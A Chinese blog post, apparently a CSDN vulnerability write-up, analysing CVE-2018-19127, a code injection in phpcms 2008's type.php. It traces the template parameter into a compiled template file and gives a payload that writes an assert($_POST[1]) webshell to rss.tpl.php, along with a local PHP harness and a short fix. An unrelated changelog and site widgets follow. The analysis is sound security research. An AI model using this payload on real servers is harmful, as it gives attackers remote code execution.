CVE-2018-19127 phpcms 2008命令执行

简介

PHPCMS网站内容管理系统是国内主流CMS系统之一,同时也是一个开源的PHP开发框架。phpcms2008老版本type.php存在代码注入可直接getshell。

影响版本

phpcms 2008

漏洞分析

漏洞的位置位于type.php中,在此文件当中包含template变量,template变量是用户能够通过传入参数控制的,同时可以看到该变量之后会被传入template()方法。
请添加图片描述

跟进template()方法当中,方法把module,template和istag一同传入了template_compile()方法当中
请添加图片描述
继续跟入,进入template_compile()方法

请添加图片描述
我们可以发现,template变量被传入了文件创建的文件名和内容当中造成了漏洞。接下来,我们就详细分析一下此方法。

首先,将template传入tplfile中,然后读取tpfile文件的内容至content中,如果读取失败,则弹出消息tpfile不存在。然后将template变量放入文件路径compiledtplfile中,在这里表示着我们可以控制这个文件的位置。然后就是将前面的contenttemplate一起传入content中,构建这个文件的内容,然后使用file_put_contents()来创建这个文件。

这个方法的作用大致就是如此,这个方法最重要的地方在于content的部分,我们详细看content部分
请添加图片描述
首先这部分为一个三目运算符,对($istag || substr($template, 0, 4) == 'tag_')进行判断,如果为true,则执行'<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>',如果为false,则执行template_parse($content),前面的true中有$template,所以我们要控制这个条件为true,然后受我们控制的变量就进入了content当中成了文件内容,而$istag这个条件在这个方法中默认为0,直接为false,所以我们需要让substr($template, 0, 4) == 'tag_'

构造template变量template = tag_(){};@unlink(_FILE_);assert($_POST[1]);{//..\rss

自己根据这个方法写了一段代码,查看变量在方法中传递的时候的变化,相关代码如下
请添加图片描述

<?php
$template = $_GET["template"];
echo('template='.$template."<br />"."<br />");
$tplfile = 'E:\phpstudy_pro'.'\\'.'www'.'\\'.$template.'.html';
echo('tplfile='.$tplfile."<br />"."<br />");
$content = @file_get_contents($tplfile);
echo('content='.$content."<br />");
if($content === false) echo("$tplfile is not exists!");
$compiledtplfile = 'E:\phpstudy_pro\www\test'.'_'.$template.'.tpl.php';
echo("<br />"."<br />".'compiledtplfile='.$compiledtplfile."<br />"."<br />");
$content=(substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
echo("<br />"."content=".$content);
$strlen = file_put_contents($compiledtplfile,$content);
@chmod($compiledtplfile,0777);

function template_parse($str, $istag = 0)
{
	$str = preg_replace("/([\n\r]+)\t+/s","\\1",$str);
	$str = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}",$str);
	$str = preg_replace("/\{template\s+(.+)\}/","<?php include template(\\1); ?>",$str);
	$str = preg_replace("/\{include\s+(.+)\}/","<?php include \\1; ?>",$str);
	$str = preg_replace("/\{php\s+(.+)\}/","<?php \\1?>",$str);
	$str = preg_replace("/\{if\s+(.+?)\}/","<?php if(\\1) { ?>",$str);
	$str = preg_replace("/\{else\}/","<?php } else { ?>",$str);
	$str = preg_replace("/\{elseif\s+(.+?)\}/","<?php } elseif (\\1) { ?>",$str);
	$str = preg_replace("/\{\/if\}/","<?php } ?>",$str);
	$str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2) { ?>",$str);
	$str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>",$str);
	$str = preg_replace("/\{\/loop\}/","<?php } ?>",$str);
	$str = preg_replace("/\{\/get\}/","<?php } unset(\$DATA); ?>",$str);
	$str = preg_replace("/\{tag_([^}]+)\}/e", "get_tag('\\1')", $str);
	$str = preg_replace("/\{get\s+([^}]+)\}/e", "get_parse('\\1')", $str);
	$str = preg_replace("/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str);
	$str = preg_replace("/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str);
	$str = preg_replace("/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/","<?php echo \\1;?>",$str);
	$str = preg_replace("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/es", "addquote('<?php echo \\1;?>')",$str);
	$str = preg_replace("/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>",$str);
	if(!$istag) $str = "defined('IN_PHPCMS') or exit('Access Denied');".$str;
	return $str;
}
?>

我们可以看到最后我们构造的$_POST[1]也传递进入文件当中,文件存放于当前目录的上一层,命名为rss.tpl.php
请添加图片描述

修复建议

手动过滤$template参数,避免输入{ (这类字符被当作路径和脚本内容处理以及一些敏感参数

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PHPCMS 2008 SP2 正式版,本次提供的是GBK版本,如需要UTF8,请点这里:http://www.veryhuo.com/down/html/8389.html PHPCMS 2008 SP2 升级内容: 1、 修正了编辑文章上传图片重复生成图片文件的问题 2、 修正了同一IP 24小时允许的最大上传附件数,超过时,上传图片直接返回错误的路径,uploadfile/ 3、 修正了include/global.func.php thumb 函数问题 4、 修正了整合后,utf8 登陆乱码问题 5、 修正了内容页面分页第一页为空问题 6、 修正了专题多页分页时,导致500错误 7、 修正了在没有开启php缓存时,问吧首页无法缓存问题 8、 "FCKLang 未定义"错误的解决办法问题:属编码问题,在本机使用记事本打开fckeditor\editor\lang\zh-cn.js,不用修改任何内容,重新保存后上传服务器覆盖原文件即可解决。 9、 修正了栏目设置中在 是否添加水印设置无效 10、 修正了上传设置图片选项卡设置图片宽度无效问题 11、 修正了自定义表单 中上传条设置了后缀后,前台显示的还是所有的后缀都是可以的,实际上只有后台设置的后缀是可以上传的。 12、 修正了表单向导SQL报错问题 Parse error: syntax error, unexpected ';' 修改了模板文件/formguide/header.html {php $types = cache_read('search_type.php');} 13、 修正了表单向导在系统没有安装到根目录下时,前台上传文件打开地址路径错误 14、 修正了表单向导前台上传没有格式化上传大小字节数 15、 修正了后台界面框架调用问题 16、 修正了手动更新模板缓存后,等待页面操作成功后自动跳转返回的页面重复,显得很粗糙 17、 修正了自动提取关键词关闭后没有用,照样自动提取问题 18、 修正了表单向导,前台展示链接问题 19、 修正了表单向导,信息无法删除问题 20、 修正了专题暂停无效问题 21、 分类TYPE无法再不同模型下添加相同分类名称 22、 修正了黄页管理公司的问题 只显示前20个公司 23、 当关闭广告模块中的统计广告点击次数功能后,链接地址不正确: 24、 升级后凡是缩略图为连接的,相关地方就会出现 Warning: getimagesize 25、 JS跨站调用后,内容显示链接怎么不对 26、 评论页表情符号和换行问题 27、 碎片bug 权限 等问题 28、 修正了008sp1 整合UC 注册不能送积分 29、 修正了总编没有选择来源的权限 30、 修正了总编没有管理文章评论的权限 31、 修正了专题的动态设置无效的问题 32、 特定环境下验证码不出来问题 33、 广告模块添加flash广告后,修改是没有取值 34、 修正了修改产品信息的时候,同时更新产品的更新时间 35、 修正了分页子标题也解析关联链接 36、 修正了 MySQL Query : INSERT INTO `phpcms_keyword` (`tag`,`usetimes`,`lastusetime`) VALUES('启示','1','1243414371') MySQL Error : Duplicate entry '' for key 2 37、 修正了IE8 下面兼容问题 38、 php 最新版本下出现的问题 程序乱码显示 39、 修正了模块下面的header.tpl.php 头部文件标准需要统一 40、 修正了升级后,修改内容后,原升级地址被修改 41、 直接访问header.tpl.php 暴漏网站安装地址问题 42、 邮件发送在不同环境下,发送失败问题、 43、 修正了水印问题 44、 修正了 广告被屏蔽 把 ads 里面的 clickads.php点击里面带有 ads的问题 45、 修正了文章发表成功后,再修改文章将其选择为待审。提示操作成功。但未成功的问题 46、 修正了 member_cache 表和 member 数据条数不一致的时候,导致全站白屏问题 47、 修正了专题的动态设置无效 设置生成静态为“否”多时候 网站不能以动态模式浏览 48、 修正了专题分类和专题在重新设置模块的“是否生成html”后,需要手动的一个个修改专题,和分类才可以修复链接地址 49、 MySQL Query : UPDATE `phpcms2008_category` SET `pitems`=`pitems` 1 WHERE `catid` IN () MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1 MySQL Errno : 1064 Message : MySQL Query Error 在未修复栏目前,添加信息出错的问题。--已解决 50、 修正了specail 标签中未增加调用, disabled=0 51、 删除文件:admin/mymap.inc.php 52、 修正了管理组帐号被禁用后,仍然可以访问后台。 53、 商务中心的产品和商机管理等几个页面的"点击"量一直显示为"0" 产品,商机等内容页面的浏览量显示为:"0" 54、 修正了黄页企业页面的联系方式栏目有"传真"和"邮编",但是没有地方填加这两项信息. 55、 修正了添加栏目多的话,程序执行缓慢 56、 内容分页有问题.第一页显示不了; [page]***[/page] 插入这样的分页符,第一页看不到. 57、 更新全文所有无法更新不存在searchid 的文章索引 58、 修正了人才推荐标签的问题 59、 修正了产品排序的问题 60、 新增企业黄页栏目分级浏览 栏目太多问题 61、 新增CNZZ站长统计功能 62、 新增表单向导 统计功能 63、 增加了IE8 下 后台兼容问题
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值